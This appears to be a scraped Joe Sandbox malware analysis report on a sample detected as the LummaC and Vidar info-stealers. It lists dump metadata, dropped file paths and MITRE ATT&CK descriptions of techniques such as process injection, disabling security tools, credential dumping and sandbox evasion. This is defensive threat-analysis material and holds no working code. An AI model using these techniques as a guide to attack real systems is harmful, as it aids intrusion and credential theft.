TlsGetValue.KERNEL32 ref: 6C2C0E58
TlsGetValue.KERNEL32 ref: 6C2C0E84

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 7ebe2da59f20d49b0558899d40992aec258c52525ecd2f3f9913e79223732b43
Instruction ID: 216e6cc85d400bbc6c8f922c98ef2c49555020f98a69cd4d54c11f4cef72899e
Opcode Fuzzy Hash: 7ebe2da59f20d49b0558899d40992aec258c52525ecd2f3f9913e79223732b43
Instruction Fuzzy Hash: AA31D4F07943998FDB50AF79C9446A97BB8BF0930DF114729EC8987A11DB309095CB83

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBAKJDGHIIJ\BGDGHJ

C:\ProgramData\AEBAKJDGHIIJ\DBFIEH

C:\ProgramData\AEBAKJDGHIIJ\DGCFHI

C:\ProgramData\AEBAKJDGHIIJ\EGIIJD

C:\ProgramData\AEBAKJDGHIIJ\FHCGCA

C:\ProgramData\AEBAKJDGHIIJ\FHCGCA-shm

C:\ProgramData\AEBAKJDGHIIJ\FIDHIE

C:\ProgramData\AEBAKJDGHIIJ\GDHDAE

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre